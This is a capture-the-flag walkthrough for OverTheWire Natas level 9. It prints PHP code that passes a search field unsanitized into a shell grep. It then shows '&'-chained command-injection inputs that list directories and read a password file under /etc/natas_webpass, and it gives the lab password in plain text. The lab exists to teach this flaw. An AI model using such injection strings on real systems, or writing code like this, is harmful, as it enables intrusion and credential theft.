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Over the wire Natas Level 9


Over the wire Natas Level 9

Objective:
Get password for Level 10

Solution:

So here we see a input box and a search button

If we put in anything it searches a dictionary.txt file for the input and displays the output

Let’s check out the source code for anything interesting.

<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>

Ok so it literally just greps the file for the keyword entered, the only check it does is to see if the key is empty

I bet we can pipe the input field to get it to return data
Let try an ls to see if we can pass directly to the shell like we think

dog & ls ../

Output:

dictionary.txt

../:
main
natas0
natas1
natas10
natas11
natas12
natas13
natas14
natas15
natas16
natas17
natas18
natas19
natas2
natas20
natas21
natas21-experimenter
natas22
natas23
natas24
natas25
natas26
natas27
natas28
natas29
natas3
natas30
natas31
natas32
natas33
natas33-new
natas34
natas4
natas5
natas6
natas7
natas8
natas9
stats




OK so it did LS the parent directory like we thought

We know from an earlier exercise the keys are stored in the /etc/natas_webpass/ folder


Let’s see if we can cat the file for natas10
& cat /etc/natas_webpass/natas10

Output:

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

African
Africans
Allah
Allah's
American
Americanism
Americanism's
Americanisms
Americans
April
April's
Aprils


And there is the password
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu



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